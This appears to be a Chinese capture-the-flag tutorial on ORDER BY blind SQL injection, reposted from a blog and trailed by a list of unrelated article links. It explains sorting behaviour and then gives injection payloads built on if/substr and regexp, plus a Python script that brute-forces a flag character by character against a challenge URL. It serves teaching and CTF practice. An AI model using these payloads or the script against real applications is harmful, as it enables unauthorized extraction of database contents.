CTF-sql-order by盲注
本文章只讨论了order by盲注,关于order by的报错等注入不在本文章讨论范围,另有文章。
让我们先来看看本文章所使用的表的内容,如下图:
接下来先了解一下order by的基础知识:
order by子句
作用:对查询返回的结果按一列或多列排序。
语法格式:ORDER BY {column_name [ASC|DASC]}[,...n]
注意:orderby 语句默认按照升序对记录进行排序
效果如下图:
思考1:以下两种sql语句的区别?将会怎么对查询结果进行排列?
1、select * from user order by username,password desc;(order by 2,3 desc)
2、select * from user order by username; (order by 2)
第一个排列结果如下图:
第二个排列结果如下图:
结论:
由以上的排序结果可看出:
1、如果是按照列中的字符串来排序的话,是按照字符串的首字母以其在26字母表中的位置来排序的。
2、如果order by的后面有多个参数,则会先照第一个参数进行排序,如果在按照第一个参数排完序之后,其中有重复的(就像上面演示的那样,admin重复),则这些重复的会再按照第二个参数进行排序
思考2:以下两种查询方式等效吗?为什么?
1、select * from user order by id|2;
2、select * from user order by 1/2;
第一个排列结果如下图:
第二个排列结果如下图:
结论:
不等效
原因如下:
我们先看看这句的效果:
select id|2 from user;
select * from user order by 1/2;
我相信大家通过这个就会发现规律了吧:
order by id|2的意思就是id中的每一个数都与2进行‘与’运算,1|2=3, 2|2=2, 3|2=3, 6|2=6,然后就按照做完‘与’运算后的数据进行排序,即2336,然后就会变成第一种的顺序了。但是1|2都为3,这样的话就会按照默认的查询顺序,而不进行排序了。
思考3:在不知道列名的情况下可以通过列序号来指代相应的列,但是可以使用列序号做运算吗?
1、select * from user order by 1;
2、select * from user order by 1+1;
3、select * from user order by 3+1;
4、select * from user order by (1+1);
5、select * from user order by (3+1);
由于篇幅关系,再此仅做部分查询:
结论:
你会发现以上语句的排序结果是一样的,这就说明在不知道列名的情况下可以通过列的序号来指代相应的列,但是不可以做以上加或减之后的排序。
order by盲注:
根据不同的列排序,会返回不同的结果,因此这里可以使用类似于bool型盲注的形式来注入,即使判断结果与某种返回内容相关联,来实现注入。
(即:所谓的order by盲注就是以其排序结果为基准,来判断注入语句是否被成功执行,从而来进行暴力猜解)
注意:
order by可以根据多列排序,因此注入的语句不一定限制于第一个参数,也可以通过逗号去对新的列进行注入,但是要利用逗号之后的参数的话,就必须要求前一个参数排完之后还要有重复的才行。
下面提供一些可供参考的order by盲注语句:
select * from user order by id|(if(substr(database(),1,1)='a',2,3));
当前数据库名称的首字母为a时id和2‘与’,否则和3‘与’。(造成两种不同的排序)
select * from user order by id|(if(substr(select flag from CTF),1,1)='a',2,3));
表CTF中flag字段的首字母为a时id和2‘与’,否则和3‘与’。(造成两种不同的排序)
select * from user order by id|{select (select flag from level1_flag) regexp payload}
flag匹配成功和 1 “与”,匹配失败和 0 “与”。(造成两种不同的排序)
下面为实现order by盲注的python脚本,可供参考:
import requests
# 定义一个flag取值的一个“范围”
dic = "1234567890qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM_!@#$%^&*"
# 之所以不定义为空,而是“^”,是为了从头开始匹配
flag = "^"
# 目标url,先传“|1”,获取其数据的排列内容,作为一个对比的基准
url1 = "https://chall.tasteless.eu/level1/index.php?dir=|1"
content1 = requests.get(url1).content
# 这个flag的长度被定义为了50个字符长度
for i in range(50):
# 从定义的dic中挨个取1字符,拼凑payload
for letter in dic:
payload = flag + letter
#该url最后的“}2b1”-->"}+1"
url2 = "https://chall.tasteless.eu/level1/index.php?dir=|{select (select flag from level1_flag) regexp "+"'"+ payload +"'"+"}%2b1"
print(url)
# 获取实际注入后的排列内容
content2 = requests.get(url2).content
# 如果不相等,即为flag内容(为什么是不相等,而不是相等,因为在url2的最后又“+1”,即匹配成功则是“?dir=|2”,匹配不成功则是“?dir=|1”)
if(content1 != content2):
flag = payload
print(flag)
break
原文地址:https://www.cnblogs.com/02SWD/p/CTF-sql-order-by.html
- C/C++——set的基本操作总结
- PHP基础——字符串的常用操作
- NLP之tfidf与textrank算法细节对比基于结巴分词
- 【Go 语言社区】算法课程 第一季 第4节-汉诺塔
- C/C++——map的基本操作总结
- Python生成词云图,TIIDF方法文本挖掘: 词频统计,词云图
- C/C++——vector的基本操作总结
- 数据库负载急剧提高的应急处理(二) (r9笔记第55天)
- 社团划分——有向图的Label Propagation算法
- Python基础——网络编程
- 分区表的一个持续改进方案(r9笔记第53天)
- python jieba分词(结巴分词)、提取词,加载词,修改词频,定义词库
- MySQL中的NULL和空串比较 (r9笔记第52天)
- Core-periphery decomposition--核心-外围模型R代码整理
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Vaex :突破pandas,快速分析100GB大数据集
- 【适合收藏】为了多点时间陪女朋友,我向BAT大佬跪求了这15条JS技巧
- Flask框架教程汇总(1)---视图/重定向/传参
- OkHttp请求耗时统计
- Ubuntu 18.04 通过 Docker 快速部署 Smokeping 2.6.11 教程
- MySQL 8.0新特性 — 函数索引
- Docker快速上手指北(一)【技术创作101训练营】
- leetcode树之二叉搜索树的最近公共祖先
- 【技术创作101训练营】技术角 | 在CentOS 8上使用Nginx 1.18: 基本配置
- Java诊断应用之Arthas实战(技术创作101训练营)
- 突击并发编程JUC系列-数组类型AtomicLongArray
- 个人量化投资体系搭建(一)
- 服务端的 WebAssembly 与 Rust 入门篇
- pImpl
- Flask+requests发起页面请求示例